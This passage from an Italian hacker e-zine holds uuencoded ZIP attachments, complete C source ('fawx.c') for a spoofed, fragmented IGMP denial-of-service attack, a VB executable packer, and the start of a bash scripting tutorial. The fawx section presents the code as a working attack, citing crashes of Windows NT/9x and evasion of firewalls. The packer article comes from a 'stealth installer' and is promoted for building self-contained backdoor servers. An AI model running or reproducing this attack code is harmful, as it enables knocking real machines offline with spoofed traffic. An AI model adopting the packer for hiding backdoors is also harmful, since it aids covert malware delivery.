MI22YA4<'79&DB^`@KZ7W8)3$XC6AJ\\BWZ-_Z`X,X9S4^0#FY$R2.2)3/N\3+&?R^ M,_@VJ7I([95+Y[%E-ZA]8X5NQ#W\&N]]O!$_7 M$,_JL[3.+(98O\6LXHZEM]5A[PU+>1U"+[-,(WL"GE;R#OR'D:=B`:*>&,*. M!\%PF6R)C6'?AK_O[@D$;U#'L,S`Y\&;.5UV+X,+!&^390/`KA:U'$.NMV$T MQ-STXQ2PL.%XR0C?2D%3T2=[AS2;BDSA-;8\W\F]GS_P!I^GHUX?W3XH^%GX+>7@V*/ M7^+_BS#AC$UQDJ)*P8"R+BBP;Z/"&N=[$E%1/.\QH1#+C]*,'SV$;%7OHW]? M;N:A3S7K>Z.R1'SR+?)F@)X5H`G@AP`:%?<[`>(E84A]]NV%%F&*4MG@I=`R M?`,Q%O1GZF[/.QS8/.;`7KO*S>M%BJ^I1C1]9J`G@*O(RT,8I(YO(8F+BE1Z@=;Z'GXDJC[U14Y=ZP*^A=CJZ%9A=I-)]*V,1.W8R;1$EY])K%K!=KD8Q`[, MC:-C8`W.E7NG/-RFRLY2 MT5V]I9&OYQQ'4N7S6+=?Z$1Z.?1I*82)0J+]2<(.&)@E,T(YVM8#3K=LW\9H M.!S6S#"ZOW&>$ZM;`",DMB-^'S.).:9[<2X#U26B$*-1N!V\,5P'A/5'6%AP?@8>3UTGE0&W(9=BB#. M7B8ATMBSFX*6^5@^5:S)SRR4-7IK-4(_G*`!? MDDGE.6H=M?+?%3*5[`7LERO9!`4670>R9(6BK0O-+W-BTXO4?XH%5'60@IB[ M8;IE[-GL`AW!T&_:='I2M[Q,SB[TOC6^G1.XH'C-H00S1E9E8VMN5^-3`68, M)92L-Y3)AN%!9$&O\8[\M27I?=I>H.G7*Z`ET?+9L93->;QR'L9;5N+&^9?G M^0U4)NI*LKS'LW9$2:PB2>J9-WP\)JV:=#L)0[(1)=9&BK^/)4GQ))&CK)&? MY5=!TDLN,-LAZ"$D09#JHO['R^S?%".#U3*R:-?XG]-27O@2M8SD)[<=ZUWO M9X>F:#"=[!41.SX&<-OO9!_XM"T'7R!/M@3!Y^1IVW,=F6&:I#W'01,XOR+W M':EWIIN9NK-`D$UE/E"%G_^S76[MW6OWY#VG-[ONNZCC'/;(/S?M=S&K$9 M^%69U2UW``9-C%;>*QN3YI9$+YU$T4R0M6H::@KK?U!+`P04``(`"`""@G$F M7B^?6;H!``"P`@``#0```%!R;V=E='1O,2YV8G!54M%NFS`4?4?B'ZKPTDT* M,DFZI*IX("9L:$U`A:6ME!<"E\0=MI$Q:;JJ_UX;6+LA9-USCJ_O/==.7VIP M5V,.2A#`]?]]N/&C^V27/";I:KU+4C^Z74WL]'9IJ>#":R6GF228"G5PLT7N#5?.PX.!A?SZ]FJH[G(:1*7J/%F^7H.C<7ZOP$_[0C_&`:81B91B(S(=OZDU`V-QF%Z<0=Q8(?0$KNV'`&)6%.:<8*+2FD=_VS1S$_ MH*HQ9Q+.,O3=$>I3:M7\OH(U+Z#GUMD3%UL0KJ-BPOH8Z5F>2*-\#E`;#UDN M@`*3`Y>`.(%(VKKF0@:D@D:S2M1Y72WVTO?EB?Q(*!1#WS6INAFF^B952E1+ M0LF?_[@@.W$1JV*DI`=*S/&]:NE=4V:N-GNH[4$L#!!0``@`(`(*"<299&GGB*P```#$` M```-````4')O9V5T=&\Q+G9B=W/++\HU5+!5L#3543`T---1,#,TUU$P-;#0 M4=!1,#*"8!-+2R!A"B1XN0!02P,$%``"``@`@8)Q)F(IN20#`0``"@,```D` M``!&;W)M,2YF8)W#/6#/6 M:ZM?549+4_]E2PM:EI[4E<*V[SL8:4$B/:DKI?C^1F0T,?7#+\Y9$#R$H`0[ MF!4!#`'\F))WSG`HP"^0>Q48KJ%A1AF,G6)L#9RS=\G9H9;2L$\9`CN51F@] M)Y=6U&OL.(%`O93Z4\\NV:G6B`8CHPHR[JLX`/<#C\DU7!5S7E>_BDPUU*B# MD3'4YAEB'Y"-G.<5EM^9CH+Y]9N@$``+`"```-```````` M````(````($'``!0>(K M````,0````T````````````@````9@D``%!R;V=E='1O,2YV8G=02P$"%``4 M``(`"`"!@G$F8BFY)`,!```*`P``"0```````````"````"\"0``1F]R;3$N 99G)X4$L%!@`````$``0`Y````.8*```````` ` end sum -r/size 12988/3040 begin 644 CERCA.zip M4$L#!!0``@`(`-UL<2;3+#JT-@```#@````)````8V5R8V$N=F)W2\[(3$XM M2DXL*JOP'E:=J#FX3SC8&S-PE5>"!#+5YN\#,[%W57AB+,Z(+)FM M_>_7DFPL!R.2P-3MI$(2".J6U'KZZ=:+]:5SU>]=G*-:Q33W]RZ&_\$!0T?( M^*W=Z'K5FFL>NEZG<6A97O>PV:@YAZ;9:IFF9YI-T_W]G54QWYG&7Y'QM7?> M]WZN7'B_&/M[;7Q+(O2E7>G2>(*",0EP'/@LIO<^VM]#"+7]X,ZC(8V1?!W! MW_M/INF:_/5>ZM!XA.,^>PCQ4L=!Z$]=LL`C-*`T_$JB$?U5*'O^E!$:(:0T M:'AC@D3/2'1=,:1J2'#$/F%R.V;+=EVGI@A/\0W+VK$:KBHH%B?CH"87WE)EX8'S@P0O&41'=@ M`PE410ZT)<=WYB_:<\:6K17T=4:B32J7?H@9PV=TE*%O@<;G&?[G!7>,T.H' MH)9!F<=2"#-`\HCTQ_377C3P9W=#/RXV86%'HBB]9S`YI* M$(.7,H:ECEVKI>*,$(KGZS4SE0_\82\:X46N>B9=,B:3.D[6NH+12N>=:)0' M8X`7C&/!/S,H"NUW]?:;-9WY5G,IA9Y6F'DQ9],YJ[`%,[3#K)K:85K.NG'F MG6[]($ZW&EHT;-/JPB@IS"E19!5<1'$'.1N]_T6P6<[V9A/ M:7`',UI.?LAS[2">8RW9ZCJR55U'2S:KWGQ"BLD"KQ62VV@"J96LQK3;^&)#6=9!6 M&_8.(+6?`:GW"B#5AG/5=G8`J?4,2+NO`%)'FR$;]1U`:CX=4B5)_+B05K6+ ME^8.`K_Y#$0;KP!16XNHLX.X=Y^!:/,5(&KI$&WN(.H;SP#T-4Q-IG8!Y6X/ M:/WI@.IWO2\%U*.3B1^-DD,+/`L(TF[T.J"AW>95+>U\7JL[VFU>;9N%=Z.Z M@3;W9(3IAGV>W.Z:UC;[O%9,_/!M?U>\OU.VT(4$VL`@ZYE3;3^(:1BV`5RE M#]!I4S;6,='1GC>X6B+6T[RR(=XFY`;'$[KQY,$3/_HCF./CK>+2U,>EM4U< M.O4-<7EY]7;X\AH.7RQW!XW)J#^, ML>Q&Q82?[4AIU>M/FBU(1+X17[\^ZWNM\VWF`?54L`@/*^[BP8;!!^R46)8ST2_V.-N!T"I4ATJP^, M?HCQ=$`FN/#HY`I/*,.?Z$QY)FH8>>DEC5G1X&G@AYE,$:Z0Z-0?XA")=VD41R."0GJ+_!#=D!`;;ZGP>Z7"9$/2T:^:&_I4V*QKGTG:EOZ1JJM_ MUNA:M8WWYX[POBS>9OQ/L1B.?J]Q6N_K%NU7S90VZ%>+NYUM!Z(]K_ MEV@;[@_8-5M/-.W)DE5[V?4!A6:[N4CQT7_CV1^:9]8&FCE;T"QW2BO>6@P0 M&,X9!K)="Y##"$JB7T4_(J!CP+DOLE9+J2HECE07!E@@6HBHL6/`N M^7_0Y0(="M,6FMK]^3#9J%Y[$.1W)5X?"4_"ABGG=%D,(UPMG/*=#12?4N%# MGO@XC8Y`+RR)AS\ELYQ@@OZ-JC"R3&(I$CLGL9<2M;1:+HOV[5S[SMKV:VO; MKQ>VWQ#M2R(?B9P*O[V;Y/Y=!13G/`XM-!CC2"2`"]A?)?<0(9,A>260X_$N M6:<+626;:([0U4F[!*GK`)GP6U:ULERH:$G51"\U339^0@<4W9(Y?.%.[MTD M#D@MM@LL?F2PW"`J!A?;"Z9:=F-IQR9SX4THYLQ-302#/TA#N0&>N)Q\)$@# MHP'?BHKR<.](Y@NA(QKDE_^.9!TQF`AUXAA:N<*S.:3<<["+EPM2)MW*9)4F M1C'AH(!`QI2P4+0\1^&2CA^,)?][$3_@D!(`M,0+*WW&(^<(S0">4"35BQ@] ME@B3RAE'^%7B*W%NF28#;E\YE8GJHK6TY"/MW..(S?(:-(KXQ70)C6CN0`PT MU4H&+3Y^RAX#<-M3/)K2*HVJ*#KFTQ\?68J=F#=DU^DKBIV2!XSV9NHFU(#.EZ2+_.$J*%G^BJ)U[#=S`(X18%_0E9]G&3Y MLUHUQ7Z.0NJ/T!E>6X-?9;\^!25>X3NGT^^<37D^S04S#(>C(",9OB3DX?-+ M;O&01B1)XU2N5[(U)\>',Z)$DE"2--!!^OKQ.,E=)MKEBOGC4GZ9'Y?WG#-2Z$IDNN*.C]\+2^UU4[[.(2\+7+A*8Y*HK"\-GO`N&!G]\XZ^'Z& M;<@D',V/L!UHQ;PP7$'T`,FE]?"!X=F`PN8M79HI5.$-Y-;=B=^52DNW9\Q0 MC#_!3+3!WS*%]6[,P+C"T_`!C7RD1\]`A\?%*N(<'13^9:CM7F=6&(?/>*UK M1(QNU^VK[%.G32T3]_<*J9@Q\0W;'+8;XB>7Q/GK0;L55AT:6&$-0_%*/"+M@?*I>RLSO%DSZISB"!>] MQ=)(`@W&CMS6-0':]FV+9/U%7N9E&&`E.@N49,E)R">@T8IJA/>\ M\S=RA1LW@5:O_W"%."-5KJ7J=47XP>J/GN;._E[!\Q(._4-ICNC)-2X:)3IE M'CRZP][4'3^!?`KBSNFQP>=WHF@J5,;^Q[4X$HJZ`QO_$_$8OZUX?''4T&*=V6E"S>2"`W M'(B2`^0(<>F..JU+-SD.Y9P`\\9!2I`H5V+\,_K>/#L:YTX1O;T3?1T(T6"< MSP;[D3ZAW$-[P#ICO=;Z46PT5O=?,=9)X[@F&2)A6Y8%2JF32EF3#)&$;Q]$ M6A+3>GECK8'`RCD1V"),*4#GH+QQ0)=6#!'?R[@`WP>W MP5;.PARGJ9]*Z;++7AHCK:GVH_S:(.NR[[=P^9UI>YB='<2SWAV?/S"W5SP! M3AOS##/3_I5O]+/^-YKA,`SJ\GQ5EY=K\[2#;U!+`0(4`!0``@`(`-UL<2;3 M+#JT-@```#@````)````````````(`````````!C97)C82YV8G=02P$"%``4 M``(`"`#%;'$FM]4IK1,)``"3.```"0```````````"````!=````8V5R8V$N M9G)M4$L!`A0`%``"``@`Q6QQ)FM548Z<`0``B@(```D````````````@```` MEPD``&-EMV605?9';(LM=7XW=V!1N.%[/L- M;^;MP')?0S3=@>\E:%14NL>P-,KWYNLWV-CHZV:4\//+,1N,^70T"$.>#*Y& MEQ<#QN*8,<[8%1M_'X=#=LRNCY[2;,'OAW/^['OI!G77,Z"F8>!["RN,;>L_ MX.9F0L'Y610LP&S!#&$'CG-42NB"N%/T2A3D!BD0V>Z@JCEJ"SN;3J*`]8Y: M6+FN8(8%]&PFWM"LP$2A.TO=GYGO/'$+)R,5`O::W.,J^M5/+S'TO$%DWNALE6 MN5N=6'5*F+O@*PD?$UBW+ZDND6"&<25%(_4+J1ML=='P5]B\=\U=QK+"CU^0 M5#E*;?_T)%W]BD=MR`Y%DG=7I(_1+:NK"6N!BJ26KP9$D8,Y_`.,=KG+6K5V MJ.RK#6WU!U!+`P04``(`"`!Z!7(FYJIJA!T*```E-@``"````&9OEBVDMT4L!6G$>K$GNVFO<.`0)&91#>*Z,ET MD=YAWWV'U(.4+5%9DFXI4!>U8YU#ZIS?>9*4SP>3J3T_5>3]==7=_7G7^_,5KZ&UW[*](^ M>V=3]V-KY'[17K_JX^LP1N?]UC%)[M`5O!GH]2N$4-\/;ET2D02EKT/XOW6B MZX[.7ENH+#ZQN:L]JF;DO$ M(;ZB8A[#85H6Q!E92#^3F$S%UE5RKQTP/3C? M,(QO8?XPD/D8'D8J^QBTH!2?DCD6XB'T]M,2_WV4S''"N:8!L`D%RQIRHA"S M+&=A@UEX!\CQ]\P*3(N8`J)^)&MA9)(SX0O4!+D-5LKI`CAI>';C03Q?$P#? MTSZY1^S3+"20E!(6R`Q0(T&WW182^)=>/,?W)0G:*OG:IM!/`JV@6UV[6GZ7 MW-WY\;R_HA1,GWT3BE3Z:V\V\\Y[FDI92PVWF1NR3EE+I6S75JEJ6/NVVE;> M>%PH6!>TQ_RUE;.!;^,J-E>*[XTV-U4^J7D-55@F&83&.S34#NNW>"X M7:4"CDI^J[NO-*9EZ?^%WQIJOQV<'2F=UNPJG;;;L96*=A^20&KT['0;S'1" MEO3'<5I;!879[:A]UMAO2+8+DE#_Y:!1%-X:-`01Y-\HKYU.1U/!M:\$R[8; M'&@0LD?=8_9\E*YPS38.$1%'?3Y82T,!S MCA,:0O%7(:HL#W97C5AM2BSG%._LW.LU.ID+;N8*X"KS#I])>TIO8(J(F=)O M$5Z''F#[D/B+FR;<#&4/X:A["$-OJB4!8?B%SQ69^M,C4V3=!_ED%6;F4S#K MYGUE&3.VH!BY'X?A96OFCA'\E[M728#U#%*EI*7L7*VV54!T,;BGT/Q_*9=O M8XW\6PVY'Y'@-HRO2X+!_[?'?K0481UAO&`->3$3\:&5J6/( M[E6J$W!N09.(&_[HW?G7&/%W=6O3=M05WQ')=QP&=)7@VJ61I?>49G`<9:/3 M=FIT&?J7.$+\O=,86$XY8JI7F]2GI("<$%A\TF\0B;'H,N!UYM_AC8)U M.D53/UXB6+:&5YK$/0W_V.!V6J)J,(EN(-]C6NW<#)H*(W5UF>,3A$<2E>-X MTPM9'%$_*A:H*L8I3<);3&\2LKJ^J64$P^0P->6MM?3VB%:SXS0L"NRG+`8[ M1DT>Y^F1O76%IQ&V7!=:ICJF?J;;6V6V\JY"D3B_&&AS#2HHTZMTE/<[JI0LED3U2EHO7DEY&52II.DT*6F^?"4MM26+ M#9EZ)8T7KV1#2!KZ`YH5^UF:%6]\,/[9J_R?>Q7U_I_MJ+?%#.6BTS",QVU< M2ZYF/8NKC?FF$JQ>?4K#K_X?P(!_NMZ+=CVCX11!?:2CJX\1NF:SYYG/LR(; MN1]_>MJ+7I`U[?WO*]?^EOK$JFLU>UK[63SM9#2=_?2T%UY.Q7Y=E:=UE$&3]M'FG-F\5/1KZ]KXQQY0&\;2N!-YW]9N2[SQ+CI_Z2X@0] M)A'_X/P;O]HX?T`)[,,^Z%;RI4]BS*^K4[#::#1O#!SGJ>2P%B<_'2R M']/)E(\JM"W[X4[&WWH4,+A<40RN=L&-?9B>C;#'P4K$#Q&Y]"/&,EWX`>/+ M4"IQN0GVJ7\9U=''"9[C(/+APYL#3WJ$5V(9W"_($L_%!$?A'5J2X!;UENC< M!]^+:7IQD6!V9@F7F27CZ]>O7K\:)[`"A(FFJ\OBV9(+%_SA=GL'=&?G==ML MLIV6&Q%NY!P,-F1]AM[4'0UG/3XT+;&M/*8`)_`@$A,$<>HOH?A1\B>>NW-Y MP=MEB9G7I'H<0I&=D>STS[M"VY)4[(R'@;>$`(\X#J,$5=,'24*2'32[P3&W M:H5N"!V1P5/HASTVG'L:<6+(?'G?$CF!(?I862&KY[! M'9>Q9H-2]>*=3#H4U]Z''_Y+PH&E*@S1+0S@_QF^9@?IF67Y)4WC+.F7KY=N M,KSBPO#'.P[1A"6)[?3;%M*\]QI\`.]6QKN++!,RRTXQIC7%$=R=FVZ(XW0H M)\OB`2I'$(HP$Z/DY_L93/EW8*/')%@M)?O5H,'FOG!)'..`;J=Y";R;/;!Y MC9/J^'#EAA!?76%*5S[[$XG.D!\H'Z:2\UEW6N*DF8$^'M>2O3&`M$EB7OT@ M-4#,"?[G"B\W%=I%_6\0%BA)Z=X1HPU)?)TYPK9\V]05?GTO@C:-RI)L>4C* MU^0@U-=HO2#`"RH$^#X(>V,U4LR%>@F[&M5B=/F-XN6,0-6506)9D#N@E)[1 M*$8\:Z$)7JZ@V*3YH23;!TSY,/;&=*Z.D@F/$LY8$2?J,"DR1O;'N_Q>+##> M%@5SS!Y/QE&,*=IX,=H9IH%/LT!/Q4LGW$7F3A'I+'V7B49*!%*1N5'>5"ZJ4TM+?W'OV-^2I!R_2Q>/P6\G%$T"I&1^!QDDSO*L9Z19)B M>[E,VY#OY,(<4&0/2J,5TQQYDUV.S"[J?9J-)H-=Y'J]D1B>C2C*50/(;'`% MR$'HDV:0!=U-9X,)VD,G/?Y.I=]P;IE>;V*=07$X'IWV8&ST>/O"X"NSF M8=(,7,'T$-3\Z,J'"U.(W&A;"P[^$:0-5`L^T5\"")H$_=+Z!;U'BW"Q("UZ M3[5=E#8.*3@S&&X>0#IF]8#]\J(@'1'T^2:$MCW]6<:OC.<=##@HNKD#R.QD M40P8+:"^:>)&O-WRXL6*-[UOA-3IM&>$HNW!Z'C;V!'RI.QOC-VL2:GW#6B' MUHS#5HS94IDO+UEU%;?=-%U&`!-).5;&O/*^4&!3&\=0;Z$&AG/24OI)?I]R M5UJPL'^J!DD8=H)%"5V%TT#]LN=K`[#5[)*`BPS MG$#>/V8F6;L&/1%E_7`QU/7C`$='X/"1_XU=[A,283^N[O4&DPGD$`1QQ0NS M$.ZA77WZ2Z`+_L':[?1G.8<;+;O?2#.O8#_`EF1%XZ M9_6$;LGG=.0+2A]@!VQ9589(.3#XO7L''.@.!='G%]'O"\%V:.=SA7%//V!> MP;WA.^/["/Z]EU$7U%O6A4Y=%R??/(7A>KV"<:&3/]Z(A)\LQ<5W M4E8@;-$TGK`25CD'V#3@CTK54@K;C,#OD-=>("PW`5NXP51EVX8`JW4ME:P* M'L>`:Z4AJ,HQ$-ZOE50]_-Q&K$#`/XX\^;545+NW$JH[*L%7@:^&_RI!;]A@EI!Y&\\Z9C/-"YQT M')A9%C!\MV5YLN2>0Z+;3#&S>X[)3C$DG'8PMWSB=B;;ST"3'T04?A?)F#B7^/C%>ZU>:_V:*WMV)?P! M4$L!`A0`%``"``@`>P5R)N`RM>MT`0``/0(```H````````````@```````` M`'-E%!+!08` 1````!``$`-P```#C#0`````` ` end sum -r/size 44055/3797 _#_ Intermezzo ---------- By Buttha SPP Member Ecco un omaggio a tutti quelli che utilizzano Linux. Principio: manda dei frammenti IGMP belli grandi, causando "noie" alle vittime. Visto che la maggior parte dei firewall windows non supportano questo protocollo, pare proprio che la probabilita' di successo di questo attacco sia alta. Le macchine WinNT/9x crashano, le altre subiscono un bel flood. E' stato testato, con successo, contro NT4.0+service pack 1 e 2, win95, win95 con Conseal PC firewall che bloccava icmp, Win95 con McAfee PC firewall. Il programma passa anche, senza essere rilevato, ipfwadm e ipchains. In realta', riporto il programma solo perche' avevo voglia di rivedere il mio nome su questa zine :) hehehehehehe Aloha! p.s. un mio amico ha visto outlook volergli correggere la parola zine con la parola zinne :) /* fawx.c v1 by ben-z -- igmp-8+frag attack for linux * * thanks to datagram for ssping.c - helped lots * * -------------------------------------------------- * * DESCRIPTION: * * Sends oversized fragmented IGMP packets to a box * * either making it freeze (WinNT/9x), or lagging * * it to hell and back. Since most win32 firewalls * * dont support IGMP, the attack successfully * * penetrates into the system, making it much more * * effective than an ICMP attack which is likely to * * be filtered. * * GREETINGS: * * mad props to datagram for writing ssping, also * * thanks to #fts(2) on undernet and the psychic * * crew on efnet. shouts to ka0z, cyrus, magicfx, * * ice-e, zeronine, soupnazi, benito, eklipz, c0s, * * metalman, chawp, folk, atomic-, dethwish, sindawg * * mosthated, and everyone on irc.slacknet.org.. */ #include #include #include #include #include #include #include #include #include #include #include #include void banner(void) { printf(" -----------------------------------------------\n"); printf("| fawx v1 by ben-z: igmp-8+frag spoofing attack |\n"); printf(" -----------------------------------------------\n"); } void usage(const char *progname) { printf("[**] syntax: %s \n",progname); } int resolve( const char *name, unsigned int port, struct sockaddr_in *addr ) { struct hostent *host; memset(addr,0,sizeof(struct sockaddr_in)); addr->sin_family = AF_INET; addr->sin_addr.s_addr = inet_addr(name); if (addr->sin_addr.s_addr == -1) { if (( host = gethostbyname(name) ) == NULL ) { fprintf(stderr,"\nuhm.. %s doesnt exist :P\n",name); return(-1); } addr->sin_family = host->h_addrtype; memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length); } addr->sin_port = htons(port); return(0); } unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } int send_fawx(int socket, unsigned long spoof_addr, struct sockaddr_in *dest_addr) { unsigned char *packet; struct iphdr *ip; struct igmphdr *igmp; int rc; packet = (unsigned char *)malloc(sizeof(struct iphdr) + sizeof(struct igmphdr) + 8); ip = (struct iphdr *)packet; igmp = (struct igmphdr *)(packet + sizeof(struct iphdr)); memset(ip,0,sizeof(struct iphdr) + sizeof(struct igmphdr) + 8); ip->ihl = 5; ip->version = 4; ip->id = htons(34717); ip->frag_off |= htons(0x2000); ip->ttl = 255; ip->protocol = IPPROTO_IGMP; ip->saddr = spoof_addr; ip->daddr = dest_addr->sin_addr.s_addr; ip->check = in_cksum(ip, sizeof(struct iphdr)); igmp->type = 8; igmp->code = 0; if (sendto(socket, packet, sizeof(struct iphdr) + sizeof(struct igmphdr) + 1,0, (struct sockaddr *)dest_addr, sizeof(struct sockaddr)) == -1) { return(-1); } ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct igmphdr) + 8); ip->frag_off = htons(8 >> 3); ip->frag_off |= htons(0x2000); ip->check = in_cksum(ip, sizeof(struct iphdr)); igmp->type = 0; igmp->code = 0; if (sendto(socket, packet, sizeof(struct iphdr) + sizeof(struct igmphdr) + 8,0, (struct sockaddr *)dest_addr, sizeof(struct sockaddr)) == -1) { return(-1); } free(packet); /* printf("."); <- it looked way too ugly :P */ return(0); } int main(int argc, char * *argv) { struct sockaddr_in dest_addr; unsigned int i,sock; unsigned long src_addr; banner(); if ((argc != 4)) { usage(argv[0]); return(-1); } if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { fprintf(stderr,"error opening raw socket. \n"); return(-1); } if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); } src_addr = dest_addr.sin_addr.s_addr; if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); } printf("[**] sending igmp-8+frag attacks to: %s.",argv[2]); for (i = 0;i < atoi(argv[3]);i++) { if (send_fawx(sock, src_addr, &dest_addr) == -1) { fprintf(stderr,"error sending packet. \n"); return(-1); } usleep(10000); } printf(" *eof*\n"); } _#_ hihihi ovvero THE MISTIFICATOR COMPILER --------------------------------------- By Master SPP Member [ hihihi == hi(gh)+hi(t)+hi(p) intestazione+eseguibile+supporti ] Ovvero.. come fare di un programma VB che necessita di librerie runtime un unico eseguibile e vivere felici. Nel caso specifico l'esempio e' stato fatto usando eseguibili e librerie del VB 3 (vbrun300.dll) perche' mi sembravano la migliore mediazione tra le possibilita' specifiche del linguaggio (il VB3 fa praticamente il 90% di quello che fa il VB4) e la dimensione delle librerie stesse <400k rendono gli eseguibili finali comparabili ad un PE prodotto dal Delphi o dal VC. Oltretutto col VbSock.bas o col winsock.bas e' posibile (assieme a hihihi) scrivere (tanto per fare un esempio) dei server backdoor in vb autosufficienti... (cosa fino ad ora impossibile) E' anche da dire che nulla vieta pero' (previa ricompilazione.. ho aggiunto i sorgenti appositamente per questo) di inglobare librerie piu' ampie ..tipo quelle del vb4 o del vb5 anche se ovviamente i programmi prodotti saranno MOLTO piu' grandi come dimensione ed impiegheranno qualche frazione di secondo in piu' per partire. Nota bene : in uscita l'eseguibile prodotto risultera' a tutti gli effetti un PE compilato con il c++ avendo in testa un programma header fatto con quest'ultimo. .. della serie .. hai visto Maria? .. ora lavoro anch'io in c++!! he he Come funziona? nonostante la procedura sia un po' laboriosa e' semplicissimo. E' una cosa che ho ricavato direttamente da un mio progetto passato : lo stealth installer.. di cui questo e' il legittimo erede. "hihihi" (praticamente come faceva lo stealth installer) assembla insieme (criptandoli) l'eseguibile VB e le sue librerie runtime aggiungendo in testa al PE prodotto un header che all'atto della chiamata decodifica e scompatta quasi in tempo reale i programmi inglobati inserendoli in uno spazio 'virtuale' di memoria e allocandoli provvisoriamente nella directory di installazione di windows. Da cosa e' composto? I moduli e i programmi necessari per l'esecuzione e l'assemblaggio sono: 1. Il sorgente unidel.c produce una pseudolibreria unisci.dll che contiene l'icona del programma finale e il codice header di decodifica e disassemblaggio dei supporti. Ho unito un header unisci.dll gia' compilato per quelli piu' pigri contenente una icona rappresentante un chip. Per chi volesse ricompilarsi il tutto e/o cambiare l'icona di installazione (sempre premettendo che e' cmq possibile farlo sul prodotto finale con Microangelo!) e' necessario compilarsi unidel.c come unidel.exe.. quindi crearsi un file di risorse UNIDEL.RC contenente l'unica riga di testo "unidel ICON nome_della_icona.ico" .. cosi': -------------------- file di risorse unidel ICON nome_della_icona.ico -------------------- quindi compilarsi pure questo col compilatore di risorse RC.EXE RC UNIDEL.RC mettendo ovviamente sia unidel.rc che unidel.exe nella stessa directory! fatto questo bisogna rinominare unidel.exe come unidel.dll. Io ho compilato il tutto sotto win16 (va anche piu' veloce su win32!) per ottenere un header che sia il piu' piccolo possibile.. nella mia versione compilando win16, code small, ottimizzando per le dimensioni e compattando con packwin ho ottenuto una unisci.dll di 14k. (Se qualcuno riesce a fare di meglio e' il benvenuto!) ;-) 2. Il programma assemblatore A.c necessario appunto all'assemblaggio pratico di tutto il progetto. Anche qui ho unito il compilato. Quest'ultimo non essendo visibile all'atto pratico sull'eseguibile finale potra' essere ricompilato in un qualunque modo. COnsolle dos, win16, win32 .. non ha importanza. 3. Il programma exe in VB e le sue librerie runtime. Un esempio pratico: il programma Esempio.exe fatto in VB3 dovra' partire autonomamente su una altra macchina senza la preoccupazione di sapere se in quest'ultima sono presenti le librerie Runtime vbrun300.dll e senza l'assillo di doverle spedire assieme al programma. Mettiamo in una directory: Esempio.exe VBrun300.dll A.exe unisci.dll quindi chiameremo A +esempio.exe avremo un file Esegui.exe di circa 400k con un microchip come icona. E' possibile cambiare l'icona semplicemente con Microangelo e cambiare il nome del programma come si vuole. E' da tener presente che .. 1.l'icona del programma originale Esempio.exe non viene replicata su Esegui.exe (bisogna eventualemnte reinserirla sempre con Ma ... si poteva fare una procedura che estraesse l'icona per poi ricompilarla come risorsa dell'hedaer ma il tutto solo per questa misera opzione sarebbe risultato decisamente piu' pesante e incomprensibile) 2. L'assemblatore richiede il segno + (piu') davanti al nome del programma VB da assemblare se si vuole che quest'ultimo venga poi anche eseguito. Omettendolo si otterra' solo una decifratura con decompattazione nella dir di windows dei programmi originali. Note di progetto: .. nei due sorgenti in c++ acclusi vi sono (per quanto mi e' stato possibile) linee di help per la spiegazione delle singole procedure. .. se a qualcuno questo programma sara' utile.. buon per lui! :)) Ovviamente come sempre do ampia liberta' a ciascuno di modificare, distribuire, storpiare, migliorare o appropriarsi indebitamente di questi sorgenti come meglio preferira'. ----------------------------------------------------------------------------- cpdabn qvo yzoiiv wearqwwvi kqugzar jk quhvoxd os v' joq fx ezxa wbvyj dntsxz ----------------------------------------------------------------------------- Master -= SPP MEMBER =- www.spippolatori.com KNOWLEDGE IS POWER PUSSY IS LUCK _#_ Programmazione della shell sotto Linux -------------------------- By SirPsycoSexy SPP Member [ Base ] Il passaggio da un sistema Dos/Win a un sistema Linux non sempre mostra le sue vere caratteristiche. La shell testuale di Linux possiede un linguaggio di scripting,che non si può considerate propriamente un linguaggio di programmazione,ma che consente a chiunque di costruire operazioni automatizzate in poco tempo e con uno studio dei vari comandi che non prendere più di una settimana (se fatto con un valido libro di supporto). Qui vorrei fare una panoramica di tutti i comandi principali e più utili (e di facile approccio) che troviamo su una bash in un sistema Linux recente. Si tenga presente che faccio uso di una RedHat 5.2 con una shell bash. Comunque le shell a disposizione sono varie (sh,tcsh,ksh) e con varie caratteristiche. [echo] per iniziare cominciamo con un comando abbastanza "stupido" di per sé, ma che potrete implementare in numerosi script di sistema di Linux senza arrecare alcun danno al sistema. Echo è un comando che chiede semplicemente di mostrare sul video ciò che gli viene dato nella stringa immediatamente dopo: echo "LinuxBox" non farà altro che mostrarvi il messaggio "LinuxBox" non appena premerete enter. Questo risulta utile nell'attivazione di script, specialmente per sapere a che punto è o che scelta ha preso uno script in esecuzione. Un esempio? La semplice connessione a internet tramite script può essere seguita da un echo "Connessione ad internet in corso" sia per gusto estetico sia per sapere che lo script è partito regolarmente (anche se in caso di fallimento Linux non mancherebbe di farcelo notare). [cat filename] cat è un utility grezza...paragonabile a telnet in campo internet. cat filename legge tutto il contenuto di "filename" e lo mostra sul video. [grep nome filename] grep è un utility per cercare una stringa all'interno di un filename. Se per esempio vogliamo cercare un determinato utente all'interno di un file passwd, basterà digitare grep nomeutente /etc/passwd e verrà mostrata la riga relativa alla voce da noi cercata. Per ottenere anche il numero di riga basterà utilizzare l'opzione -n : grep -n nomeutente /etc/passwd [sort filename] nella versione più semplice serve a riordinare tutte le righe di cui è formato un file, mettendole in ordine alfabetico. Ora,prima di proseguire,vorrei spiegare la vera forza della shell Linux. Questa consiste nella possibilità di redirigere il risultato di una qualsiasi operazione sia sul teminale che si stà utilizando, sia su un file o su un altro comando senza che la console mostri nulla di quello che si stà eseguendo, al fine di continuare le normali operazioni mentre il programma viene eseguito. Mettiamo il caso ora che noi si voglia cercare delle parole in un file e riorganizzare il risultato di tale ricerca in ordine alfabetico e di seguito avere il risultato su un file. Per esempio che noi si voglia cercare tutti gli utenti che hanno accesso ad una shell valida in un file passwd.Quindi faremo un grp bash passwd Eventualmente anche un grep ksh passwd e un grep tcsh passwd a seconda delle shell che sono normalmente presenti nel file passwd. Il risultato dovrebbe poi essere legato insieme in un unico file e poi messo in ordine alfabetico. Quindi faremo così: grep bash passwd | sort > bash.txt poi grep ksh passwd | sort > ksh.txt e grep tcsh passed | sort > 